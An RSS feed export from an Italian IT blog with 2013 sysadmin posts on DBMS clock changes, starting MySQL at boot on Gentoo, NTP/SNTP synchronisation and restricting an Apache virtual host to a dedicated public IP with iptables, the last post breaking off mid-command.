<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="/rss20.xsl" media="screen"?>
<rss xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<atom:link href="http://nazarenolatella.myblog.it/index.rss" rel="self" type="application/rss+xml" />
<title>Il blog sull'informatica</title>
<description>L'informatica vista da ogni prospettiva</description>
<link>http://nazarenolatella.myblog.it/</link>
<lastBuildDate>Wed, 15 May 2013 18:57:05 +0200</lastBuildDate>
<generator>myblog.it</generator>
<copyright>All Rights Reserved</copyright>
<item>
<guid isPermaLink="true">http://nazarenolatella.myblog.it/archive/2013/05/05/l-importanza-dell-ora-di-sistema-per-un-dbms.html</guid>
<title>L'importanza dell'ora di sistema per un DBMS</title>
<link>http://nazarenolatella.myblog.it/archive/2013/05/05/l-importanza-dell-ora-di-sistema-per-un-dbms.html</link>
<author>noreply@myblog.it (nazarenolatella)</author>
<category>Tip della Settimana</category>
<pubDate>Wed, 08 May 2013 10:00:00 +0200</pubDate>
<description>
&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Se avete intenzione di modificare la data o l'ora di un sistema che ospita un &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;DBMS &lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;(oppure entrambe)&lt;/span&gt; tenete bene a mente quanto segue: &quot;Spostare il &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;datetime&lt;/span&gt;&lt;/strong&gt; in avanti non dovrebbe causare grossi problemi, ma sportarlo indietro potrebbe comportare il crash del &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;DBMS&lt;/span&gt;&lt;/strong&gt; o, ancora peggio, &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;l'inconsistenza dei record&lt;/span&gt;&lt;/strong&gt;&quot;.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Infatti, tutti i&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt; DBMS&lt;/span&gt;&lt;/strong&gt; in circolazione associano solitamente un &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;timestamp&lt;/span&gt;&lt;/strong&gt; ai vari &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;record&lt;/span&gt;&lt;/strong&gt;... ed il&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt; timestamp&lt;/span&gt;&lt;/strong&gt;, ovviamente, attinge dalla data e dall'ora del &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;SO&lt;/span&gt;&lt;/strong&gt;.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Dunque pensateci bene prima di fare una modifica del genere.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Alla prossima.&lt;/span&gt;&lt;/p&gt;
</description>
</item>
<item>
<guid isPermaLink="true">http://nazarenolatella.myblog.it/archive/2013/05/03/gentoo-e-mysql.html</guid>
<title>Gentoo e MySQL all'avvio</title>
<link>http://nazarenolatella.myblog.it/archive/2013/05/03/gentoo-e-mysql.html</link>
<author>noreply@myblog.it (nazarenolatella)</author>
<category>SO: Linux</category>
<pubDate>Mon, 06 May 2013 09:04:00 +0200</pubDate>
<description>
&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Per installare un nuovo servizio su una macchina &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Gentoo&lt;/span&gt;&lt;/strong&gt; è molto conveniente utilizzare il &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;packet manager&lt;/span&gt;&lt;/strong&gt; di cui è dotata, ovvero&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt; emerge&lt;/span&gt;&lt;/strong&gt;.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://nazarenolatella.myblog.it/media/02/01/273780122.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img id=&quot;media-2365981&quot; style=&quot;margin: 0.7em 0;&quot; title=&quot;&quot; src=&quot;http://nazarenolatella.myblog.it/media/02/01/1222169016.jpg&quot; alt=&quot;gentoo-logo.jpg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Potrebbe succedere, però, che la versione del servizio richiesta sia&amp;nbsp;più datata&amp;nbsp;rispetto a quella presente nei repository ufficiali di &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;emerge&lt;/span&gt;&lt;/strong&gt;, ergo è necessario scaricare i sorgenti dell'applicativo e successivamente compilarli mediante &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;gcc&lt;/span&gt;&lt;/strong&gt;.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Nella fattispecie, il servizio oggetto del presente post è &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;MySQL&lt;/span&gt;&lt;/strong&gt;, che dovrà essere avviato automaticamente al &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;boot&lt;/span&gt;&lt;/strong&gt; del sistema operativo.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Generalmente &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;MySQL&lt;/span&gt;&lt;/strong&gt; mette a disposizione uno script di avvio per le distro più diffuse, da posizionare all'interno della directory&amp;nbsp;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;/etc/init.d.&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Purtroppo la versione di &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;MySQL&lt;/span&gt;&lt;/strong&gt; che ho scaricato non conteneva al suo interno uno &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;script di startup&lt;/span&gt;&lt;/strong&gt; per &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Gentoo&lt;/span&gt;&lt;/strong&gt; e per quindi ho dovuto escogitare una specie di workaround.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Mi spiego meglio: affinchè il&amp;nbsp;comando &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;rc-update add mysqld boot&lt;/span&gt;&lt;/strong&gt; possa funzionare, è necessario che lo script&amp;nbsp;in questione (&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;mysqld&lt;/span&gt;&lt;/strong&gt;) contenga del codice specifico da dare in pasto al binario &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;/sbin/runscript&lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;. Infatti, è proprio grazie ad esso che il &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;SO&lt;/span&gt;&lt;/strong&gt; riconosce lo script e lo lancia durante lo specifico&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt; runlevel&lt;/span&gt;&lt;/strong&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;La cosa fuorviante è che, nonostante &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;mysqld&lt;/span&gt;&lt;/strong&gt; non contenesse all'interno la chiamata al binario &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;/sbin/runscript&lt;/span&gt;&lt;/strong&gt; (essendo un semplice &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; bash&lt;/span&gt;&lt;/strong&gt;) il comando &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;rc-update&lt;/span&gt;&lt;/strong&gt; non ha&amp;nbsp;restituito alcun errore.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Infatti, un semplice&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt; rc-update&lt;/span&gt;&lt;/strong&gt; mi&amp;nbsp;ha mostrato&amp;nbsp;il servizio correttamente assegnato al &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;runlevel&lt;/span&gt;&lt;/strong&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;mysqld |&amp;nbsp;boot&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Per capirci qualcosa in più ho deciso di abilitare il logging del demone &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;rc&lt;/span&gt;&lt;/strong&gt;, editando il file &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;/etc/rc.conf&lt;/span&gt;&lt;/strong&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;rc_logger=&quot;YES&quot;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Dopo il riavvio della macchina ho quindi analizzato il file &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;/var/log/rc.log&lt;/span&gt;&lt;/strong&gt;, il quale non ha mostrato nessun tentativo di avvio&amp;nbsp;per &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;mysqld&lt;/span&gt;&lt;/strong&gt;. Ed è stato proprio in questo momento che ho capito dove stava il problema: &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;mysqld&lt;/span&gt;&lt;/strong&gt;&amp;nbsp;era uno &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;script bash&lt;/span&gt;&lt;/strong&gt; e non &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;runscript&lt;/span&gt;&lt;/strong&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Per farla breve, il workaround di cui vi ho accennato precedentemente è il seguente:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;1) all'interno della directory &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;/etc/local.d&lt;/span&gt;&lt;/strong&gt; ho creato lo script &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;mysqld.start&lt;/span&gt;&lt;/strong&gt;, il cui contenuto è:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;#!/bin/sh&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;/etc/init.d/mysqld start&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;2) ho convertito il suddetto script in eseguibile, mediante il comando:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;server&amp;nbsp;local.d # chmod +x mysqld.start&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;A questo punto, in virtù del fatto che &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Gentoo&lt;/span&gt;&lt;/strong&gt;&amp;nbsp;durante la&amp;nbsp;fase di &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;boot&lt;/span&gt;&lt;/strong&gt;&amp;nbsp;esegue tutti gli script presenti&amp;nbsp;all'interno di &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;/etc/local.d&lt;/span&gt;&lt;/strong&gt;, ho finalmente ottenuto l'avvio automatico di &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;MySQL&lt;/span&gt;&lt;/strong&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;E' tutto.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Alla prossima.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
</description>
</item>
<item>
<guid isPermaLink="true">http://nazarenolatella.myblog.it/archive/2013/05/02/ntp-ed-sntp-sync.html</guid>
<title>NTP ed SNTP sync</title>
<link>http://nazarenolatella.myblog.it/archive/2013/05/02/ntp-ed-sntp-sync.html</link>
<author>noreply@myblog.it (nazarenolatella)</author>
<category>Tip della Settimana</category>
<pubDate>Thu, 02 May 2013 12:21:00 +0200</pubDate>
<description>
&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Se il vostro enviroment possiede N macchine Windows con&amp;nbsp;il servizio &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;NTP&lt;/span&gt;&lt;/strong&gt; attivo (quello nativo)&amp;nbsp;ed una sorgente di sincronizzazione basata su un server&amp;nbsp;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;SNTP&lt;/span&gt;&lt;/strong&gt; (&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Simple Network Time Protocol&lt;/span&gt;&lt;/strong&gt;), allora vedrete aumentare la &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;deriva temporale&lt;/span&gt;&lt;/strong&gt; (aka &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;delay&lt;/span&gt;&lt;/strong&gt;) a dismisura.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Infatti, è possibile consentire&amp;nbsp;la sincronizzazione di un server &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;SNTP&lt;/span&gt;&lt;/strong&gt; da una sorgente &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;NTP&lt;/span&gt;&lt;/strong&gt;, MA NON&amp;nbsp;VICEVERSA.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Alla prossima.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
</description>
</item>
<item>
<guid isPermaLink="true">http://nazarenolatella.myblog.it/archive/2013/04/28/apache-virtual-host-su-ip-pubblico-dedicato.html</guid>
<title>Apache virtual host su IP pubblico dedicato</title>
<link>http://nazarenolatella.myblog.it/archive/2013/04/28/apache-virtual-host-su-ip-pubblico-dedicato.html</link>
<author>noreply@myblog.it (nazarenolatella)</author>
<category>SO: Linux</category>
<pubDate>Mon, 29 Apr 2013 09:25:04 +0200</pubDate>
<description>
&lt;p&gt;&lt;span style=&quot;font-size: medium; color: #ff0000;&quot;&gt;Scenario&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Un &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;virtual host&lt;/span&gt;&lt;/strong&gt; di &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Apache&lt;/span&gt;&lt;/strong&gt; che deve essere accessibile solo da determinati &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;indirizzi IP pubblici&lt;/span&gt;&lt;/strong&gt;.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium; color: #ff0000;&quot;&gt;Problema&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Sulla macchina sono presenti anche altri &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;virtual host&lt;/span&gt;&lt;/strong&gt; &quot;pubblici&quot;.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium; color: #ff0000;&quot;&gt;Soluzione&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Mettere in bind il &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;virtual host&lt;/span&gt;&lt;/strong&gt; in oggetto su un &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;indirizzo IP pubblico dedicato&lt;/span&gt;&lt;/strong&gt; e successivamente creare delle regole ad hoc mediante &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Iptables&lt;/span&gt;&lt;/strong&gt;.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://nazarenolatella.myblog.it/media/02/00/1064550814.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img id=&quot;media-2361634&quot; style=&quot;margin: 0.7em 0;&quot; title=&quot;&quot; src=&quot;http://nazarenolatella.myblog.it/media/02/00/2023374427.jpg&quot; alt=&quot;apache,virtual host,httpd,bind,virtual interface,dedicated public ip,private access,logging,syslogd,iptables,rc.local&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Per prima cosa occorre creare un'&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;interfaccia virtuale&lt;/span&gt;&lt;/strong&gt; da associare all'&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;indirizzo IP pubblico dedicato&lt;/span&gt;&lt;/strong&gt;. Su &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;CentOS&lt;/span&gt;&lt;/strong&gt; tale operazione è piuttosto banale e consta dei seguenti passi:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;1) Creo il file contenente i parametri dell'interfaccia all'interno della directory &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;/etc/sysconfig/network-scripts/&lt;/span&gt;&lt;/strong&gt;:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;[root@server network-scripts]# sudo nano ifcfg-eth0:0&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;il cui contenuto dovrà essere simile al seguente:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;DEVICE=eth0:0&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;ONBOOT=yes&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;HWADDR=&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;IPADDR=&amp;lt;indirizzo IP pubblico&amp;gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;NETMASK=&amp;lt;netmask&amp;gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;BROADCAST=&amp;lt;indirizzo di broadcast&amp;gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;GATEWAY=&amp;lt;indirizzo del default gw&amp;gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;NETWORK=&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;TYPE=Ethernet&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;2) Attivo l'&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;interfaccia virtuale&lt;/span&gt;&lt;/strong&gt; e mi sincero che sia effettivamente operativa:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;[root@server network-scripts]# ifup eth0:0&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;[root@server network-scripts]# ifconfig&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;il cui output dovrebbe essere simile al seguente:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;eth0:0&amp;nbsp;&amp;nbsp;&amp;nbsp; Link encap:Ethernet&amp;nbsp; HWaddr &amp;lt;mac address&amp;gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; inet addr:&amp;lt;indirizzo IP&amp;gt;&amp;nbsp; Bcast:&amp;lt;indirizzo di broadcast&amp;gt;&amp;nbsp; Mask:&amp;lt;netmask&amp;gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; UP BROADCAST RUNNING MULTICAST&amp;nbsp; MTU:1500&amp;nbsp; Metric:1&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Interrupt:169 Memory:fb5e0000-fb600000&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Successivamente creo la configurazione del &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;virtual host&lt;/span&gt;&lt;/strong&gt; all'interno della directory &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;/etc/httpd/vhosts.d/&lt;/span&gt;&lt;/strong&gt;:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;[root@server vhosts.d]# nano privatevhost.conf&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;il cui contenuto dovrà essere:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Listen &amp;lt;ip pubblico assegnato all'interfaccia virtuale&amp;gt;:80&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;NameVirtualHost &amp;lt;ip pubblico assegnato all'interfaccia virtuale&amp;gt;:80&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;VirtualHost &amp;lt;ip pubblico assegnato all'interfaccia virtuale:80&amp;gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp; ServerName privatevhost.dominio.com&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp; ServerAlias privatevhost.dominio.com&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp; DocumentRoot /var/www/virtual/privatevhost.dominio.com/htdocs&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp; ErrorLog /var/www/virtual/privatevhost.dominio.com/logs/error.log&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp; CustomLog /var/www/virtual/privatevhost.dominio.com/logs/access.log combined&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp; #ServerSignature Off&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp; Redirect 404 /favicon.ico&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp; &amp;lt;Location /favicon.ico&amp;gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; ErrorDocument 404 &quot;No favicon&quot;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp; &amp;lt;/Location&amp;gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;/VirtualHost&amp;gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Lancio un &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;reload&lt;/span&gt;&lt;/strong&gt; della configurazione di &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Apache&lt;/span&gt;&lt;/strong&gt; per rendere effettive le suddette modifiche:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;[root@server vhosts.d]# service httpd reload&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;A questo punto posso procedere con la creazione dei filtri di accesso mediante&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt; iptables&lt;/span&gt;&lt;/strong&gt;:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;iptables -F&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;iptables -P INPUT ACCEPT&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;iptables -P OUTPUT ACCEPT&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;iptables -P FORWARD ACCEPT&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;iptables -A INPUT -s &amp;lt;IP sorgente consentito&amp;gt;/32 -d &amp;lt;IP pubblico assegnato all'interfaccia virtuale&amp;gt;/32 -p tcp --dport 80 